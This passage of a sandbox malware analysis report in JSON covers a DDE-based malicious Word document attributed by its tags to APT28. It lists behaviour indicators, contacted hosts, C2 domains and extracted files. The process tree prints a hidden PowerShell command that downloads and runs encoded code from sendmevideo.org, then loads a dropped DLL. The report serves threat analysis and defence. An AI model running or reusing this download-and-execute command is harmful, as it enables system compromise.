00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"powershell.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00008676)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00008676)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00008676)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$46","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"__PSScriptPolicyTest_kd2n32iu.mey.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_kd2n32iu.mey.ps1]- [targetUID: 00000000-00007680]\n Dropped file: \"__PSScriptPolicyTest_l5o0x10l.ftw.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_l5o0x10l.ftw.ps1]- [targetUID: 00000000-00008676]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]}],"incidents":[{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Scans for artifacts that may help identify the target"}],"sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the windows installation date"},{"detail":"Reads the active computer name"},{"detail":"Scans for artifacts that may help identify the target"}],"sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]}]},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":110,"imported_dlls_count":242,"dropped_files_count":0,"extracted_files_count":45,"files_written_count":226,"files_deleted_count":0,"registry_keys_created_count":72,"registry_keys_modified_count":0,"registry_keys_deleted_count":122,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":194,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":5,"dns_resolutions_count":2,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["downrage","fancybear","targeted","apt","apt28","dde","exploit","group74","xagent","group-4127","sofacy","strontium","pawnstorm","irontwilight","swallowtail","tg-4127","tag_0700","tsarteam","sednit","downloader"],"sample_flags":["Network Traffic","Extracted Files","Sample not shared","Multi-Process","Carved Files","TOR analysis"],"sandbox_reports":[{"id":"68508f654f1ab63295019b6d","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6","analysis_start_time":"2025-06-16T21:40:53+00:00","indicators_count":{"informative":80,"suspicious":18,"malicious":4},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"68508f4793f3f8fbed0c3da1","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6","analysis_start_time":"2025-06-16T21:41:38+00:00","indicators_count":{"informative":29,"suspicious":1,"malicious":2},"tags":["Extracted Files","TOR analysis"],"is_in_unified_schema":true},{"id":"68508f37731f9fb1a60d24cd","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6","analysis_start_time":"2025-06-16T21:40:07+00:00","indicators_count":{"informative":147,"suspicious":28,"malicious":4},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"68508f29233c04f2e3008345","environment_id":310,"environment_description":"Linux (Ubuntu 20.04, 64 bit)","state":"ERROR","error_type":"File \"OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6\" was detected as \"docx\", this format is not supported on LINUX","verdict":"undetected","submit_name":"OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6","analysis_start_time":"2025-06-16T21:39:53+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"5a41944a7ca3e1325e1f0adb","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"DDE.E","contacted_countries":["BLZ","EU","USA"],"submit_name":"OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6","analysis_start_time":"2017-12-26T02:05:49+00:00","indicators_count":{"informative":16,"suspicious":10,"malicious":8},"tags":["Network Traffic","Extracted Files","Sample not shared"],"is_in_unified_schema":true},{"id":"59f9d6707ca3e174ff77bcc3","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Downloader.DDE","contacted_countries":["BLZ","USA"],"submit_name":"759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.docx","analysis_start_time":"2017-11-02T14:06:32+00:00","indicators_count":{"informative":21,"suspicious":15,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files","Carved Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"184.25.216.99","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"address":"92.122.154.57","port":80,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"address":"86.106.93.113","port":80,"protocol":"TCP","country":"Belize","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"address":"172.217.22.46","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"address":"89.34.111.160","port":443,"protocol":"TCP","country":"Belize","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]}],"dns_resolutions":[{"domain":"sendmevideo.org","address":"86.106.93.113","country":"Belize","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_organization":"Not Applicable","registrar_name_servers":"NS4.ITITCH.COM","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"domain":"satellitedeluxpanorama.com","address":"89.34.111.160","country":"Belize","registrar_name":"Tucows Domains Inc.","registrar_name_servers":"NS1.NJAL.LA","registrar_creation_date":"2017-10-20T11:25:22+00:00","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]}],"http_requests":[{"host":"sendmevideo.org","host_ip":"86.106.93.113:80","url":"/dh2025e/eee.txt","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /dh2025e/eee.txt HTTP/1.1\nHost: sendmevideo.org\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"host":"sendmevideo.org","host_ip":"86.106.93.113:80","url":"/dh2025e/eh.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /dh2025e/eh.dll HTTP/1.1\nHost: sendmevideo.org\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}],"processes":[{"pid":3996,"ppid":0,"name":"WINWORD.EXE","command_line":"/n \"C:\\759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.docx\"","sha256":"8cfb55087fa8e4c1e7bcc580d767cf2c884c1b8c890ad240c1e7009810af6736","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00035285-00003996","icon":"$47"},{"pid":2460,"ppid":3996,"name":"powershell.exe","command_line":"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # .EXE a","sha256":"6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00035285-00003996","uid":"00040140-00002460","icon":"$48"},{"pid":1420,"ppid":2460,"name":"powershell.exe","command_line":"$49","sha256":"6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00040140-00002460","uid":"00040970-00001420","icon":"$4a"},{"pid":1968,"ppid":1420,"name":"rundll32.exe","command_line":"%ALLUSERSPROFILE%\\mvdrt.dll,#1","sha256":"5ad3c37e6f2b9db3ee8b5aeedc474645de90c66e3d95f8620c48102f1eba4124","normalized_path":"%WINDIR%\\System32\\rundll32.exe","parent_uid":"00040970-00001420","uid":"00041611-00001968","icon":"$4b"}],"all_imported_dlls":["wintrust.dll","rsaenh.dll","mswsock.dll","IPHLPAPI.DLL","MSO.DLL","RpcRtRemote.dll","userenv.dll","rasadhlp.dll","MSPTLS.DLL","sxs.dll","mscorlib.ni.dll","user32.dll","usp10.dll","shell32.dll","uxtheme.dll","oleacc.dll","rasapi32.dll","advapi32.dll","MSORES.DLL","api-ms-win-downlevel-advapi32-l1-1-0.dll","sspicli.dll","winhttp.dll","System.Data.dll","WSHTCPIP.DLL","FWPUCLNT.DLL","KernelBase.dll","MSCONV97.DLL","cscapi.dll","WinSCard.dll","kernel32.dll","gdi32.dll","msimg32.dll","imageres.dll","tzres.dll","USP10.DLL","System.Core.ni.dll","RICHED20.DLL","msxml6.dll","profapi.dll","System.Transactions.ni.dll","dnsapi.dll","ntmarta.dll","Microsoft.PowerShell.Security.ni.dll","System.DirectoryServices.ni.dll","rtutils.dll","dhcpcsvc.dll","imm32.dll","secur32.dll","linkinfo.dll","wkscli.dll","mscorrc.dll","ws2_32.dll","rpcrt4.dll","OART.DLL","slc.dll","msvcr80.dll","System.Configuration.Install.ni.dll","Microsoft.WSMan.Management.ni.dll","mscorjit.dll","GFX.DLL","atl.dll","comctl32.dll","version.dll","shdocvw.dll","MSOINTL.DLL","normaliz.dll","crypt32.dll","shfolder.dll","clbcatq.dll","api-ms-win-downlevel-version-l1-1-0.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","dhcpcsvc6.dll","cryptsp.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","mscorwks.dll","iertutil.dll","wininet.dll","powrprof.dll","msasn1.dll","nsi.dll","ntdll.dll","shlwapi.dll","OSPPCEXT.DLL","psapi.dll","Microsoft.PowerShell.Commands.Management.ni.dll","apphelp.dll","System.Data.ni.dll","cryptbase.dll","msproof7.dll","System.Transactions.dll","System.Xml.ni.dll","rasman.dll","sechost.dll","WWLIB.DLL","api-ms-win-downlevel-ole32-l1-1-0.dll","ALRTINTL.DLL","rpcss.dll","dwmapi.dll","OSPPC.DLL","System.Management.Automation.ni.dll","msvcrt.dll","cfgmgr32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","setupapi.dll","System.ni.dll","System.Management.ni.dll","winnsi.dll","System.Configuration.ni.dll","ole32.dll","netutils.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","mscoree.dll","mscoreei.dll","credssp.dll","oleaut32.dll","GdiPlus.dll","MSGR3EN.DLL","diasymreader.dll","Culture.dll","lpk.dll","wship6.dll","msvcr90.dll","msi.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","msctf.dll","devobj.dll","bcrypt.dll","srvcli.dll","GKWord.dll","WWINTL.DLL","msadox.dll","webio.dll","wtsapi32.dll","propsys.dll","Wldap32.dll","msxml6r.dll","urlmon.dll","ntshrui.dll","netapi32.dll","Microsoft.PowerShell.Security.dll","mpr.dll","mvdrt.dll","unidrvui.dll","mxdwdrv.dll","fontsub.dll","Microsoft.WSMan.Runtime.dll","pnrpnsp.dll","Microsoft.PowerShell.Commands.Diagnostics.dll","bcryptprimitives.dll","System.Management.dll","imagehlp.dll","Microsoft.PowerShell.ConsoleHost.dll","Microsoft.PowerShell.Commands.Utility.dll","SensApi.dll","gpapi.dll","xmllite.dll","WindowsCodecs.dll","schannel.dll","cabinet.dll","ieframe.dll","wer.dll","System.Management.Automation.dll","Microsoft.WSMan.Management.dll","winrnr.dll","System.Core.dll","devrtl.dll","System.ServiceProcess.ni.dll","oleaccrc.dll","SendToOneNoteUI.dll","AcLayers.dll","npmproxy.dll","prntvpt.dll","Microsoft.PowerShell.Commands.Management.dll","NapiNSP.dll","cryptnet.dll","gameux.dll","nlaapi.dll","ncrypt.dll","netprofm.dll","msxml3.dll","msxml3r.dll","coml2.dll","fltLib.dll","WinTypes.dll","MpClient.dll","TextShaping.dll","windows.storage.dll","edputil.dll","win32u.dll","gdi32full.dll","kernel.appcore.dll","combase.dll","AcGenral.dll","Windows.System.Launcher.dll","umpdc.dll","Windows.StateRepositoryCore.dll","CoreUIComponents.dll","srpapi.dll","msvcp_win.dll","policymanager.dll","msvcp110_win.dll","CoreMessaging.dll","virtdisk.dll","SHCore.dll","ninput.dll","TextInputFramework.dll","DataExchange.dll","AcSpecfc.dll","MpOAV.dll","twinapi.appcore.dll","ucrtbase.dll","VxSSL64.dll","clrjit.dll","vcruntime140_clr0400.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-core-xstate-l2-1-0.dll","wshext.dll","Microsoft.CSharp.ni.dll","clr.dll","msisip.dll","Microsoft.Management.Infrastructure.ni.dll","VxSSL32.dll","pwrshsip.dll","System.Numerics.ni.dll","nlssorting.dll","ucrtbase_clr0400.dll","samcli.dll","AppResolver.dll","OnDemandConnRouteHelper.dll","485Q1cVD.dll","TaskFlowDataEngine.dll","amsi.dll","mlang.dll","BCP47Langs.dll","nlansp_c.dll","AppxSip.dll","wshbth.dll","OneCoreCommonProxyStub.dll","vcruntime140_1_clr0400.dll","wldp.dll","prxyqry.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"~$9fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"2FQ1B4ASUREZJBR2GB7E.temp","sha256":"a61c3dcd146f6232141a4cdc355af7d153acd042bcbee1500613a1afad3c4e83","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.LNK","sha256":"1642fe50184fd37544a2ef04895e1246d79c39d7ec807fa50166dd83fa8d8c44","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"index.dat","sha256":"b122e1dae00720054650b1af7dfb7c75f268671a87ede637252c6cfbc4321cd9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"~$Normal.dotm","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"FZKL1J7EV45VT6FCHG5K.temp","sha256":"a61c3dcd146f6232141a4cdc355af7d153acd042bcbee1500613a1afad3c4e83","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"~WRS{74FCDC3D-E044-44D4-A476-696CFF3E81E7}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"~WRS{D34328B0-6DD3-4645-B9D5-59A0B82F7D28}.tmp","sha256":"367b5aa09b488ffa37d65c11941f26da15036f20053a1ff822647dd76c5e33c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"mvdrt.dll","sha256":"3ac11a74275725a22c233cd974229d2b167c336da667410f7262b4926dabd31b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"carved_0.dll","sha256":"3ac11a74275725a22c233cd974229d2b167c336da667410f7262b4926dabd31b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"mvdrt.bat","sha256":"7ece2a9bb6e4690126ae90bdcd4e02ac05685047c5ba0a011ddcb6f95c3fa6da","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"4NTW3LFLLHXVE8FQ8F06.temp","sha256":"7c5b363d9f41bf03600bebac01867e583d449553c527e464c6ea1627175a2a7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"6XYB45E3V9BXA69467UK.temp","sha256":"7c5b363d9f41bf03600bebac01867e583d449553c527e464c6ea1627175a2a7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"5Vqlj[1].txt","sha256":"025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"9igAhnH[1].txt","sha256":"025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"IBG0sw[1].txt","sha256":"025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Kn[1].txt","sha256":"025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"TLSMSL[1].txt","sha256":"025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"VRzZ5.vnd[1].txt","sha256":"025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"j[1].txt","sha256":"025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"sNSv.vnd.etsi[1].txt","sha256":"025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"wY6U6e[1].txt","sha256":"025047cadffc03859a074fe58c5535e893ddfc6917cb2d8044ef6fbb4fb590f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"~WRS{3147DD3C-8AE0-4C18-B784-2B1DFD761C56}.tmp","sha256":"367b5aa09b488ffa37d65c11941f26da15036f20053a1ff822647dd76c5e33c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"~WRS{5FE00026-8FA9-4B7B-B1BA-06FE85B7A820}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"94308059B57B3142E455B38A6EB92015","sha256":"677ffb54bd3cc0e2e66eccaf2f6e6c8e1050286516e4f2ef984a3a3673ccc311","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Cab7CC9.tmp","sha256":"c929701c67a05f90827563eedccf5eba8e65b2da970189a0371f28cd896708b8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"~$9fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.docx","sha256":"ede67337c48c9cc5f39d20bfb5a70840730ec19ecd0cc354a8ce63830a3b386e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"~WRD0000.tmp","sha256":"16e7b5b61207c5984c0a9e37924764c23314b997e8e8d6ff8f50c0a9ca2252c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc.LNK","sha256":"ecf16c8876dbd83905e05f84b7293e8bf35faa237a640403a7bfac3bd08528cd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"~WRD0002.tmp","sha256":"16e7b5b61207c5984c0a9e37924764c23314b997e8e8d6ff8f50c0a9ca2252c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"~_X_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc","sha256":"f88a181daf4257a7c7b5bf0e9dbbb74e38e29c68da454cb7d927f2982fdd4e82","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"~WRS_12952D61-1372-4F4E-BC8E-3D593B464BFD_.tmp","sha256":"367b5aa09b488ffa37d65c11941f26da15036f20053a1ff822647dd76c5e33c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"~WRS_FD7675BD-1FD0-4523-8F08-09E83A6D83F7_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"VYQVV3N5XFA7M9ZE4NIR.temp","sha256":"d67b23221b9fcdc0c70933a2b7ef664fbd9ace481a96361cc792213206b75b36","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"ModuleAnalysisCache","sha256":"98982e464985906e58496475f7e5e2f3216167eab1e18870917d6cf1ebe9415d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"StartupProfileData-Interactive","sha256":"c57ef9f1979e4026a60e6b9c18a3cac4def1ef3102509964b8a8e21ec1f30238","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"~WRS_D8AB7E8B-9960-4A27-BECD-59389FD0409B_.tmp","sha256":"367b5aa09b488ffa37d65c11941f26da15036f20053a1ff822647dd76c5e33c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"~WRS_5D29430F-9053-40FA-B065-A1FE91ADEF7D_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"AB7DM0DKR3WAIOYNZKNL.temp","sha256":"e1e8f741cb8f7b92b85f0b2860f25b5cbdc5731ab7fb472b8c23ea90c303dcfc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"__PSScriptPolicyTest_d245rdp5.qvg.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"__PSScriptPolicyTest_kd2n32iu.mey.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"__PSScriptPolicyTest_l5o0x10l.ftw.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685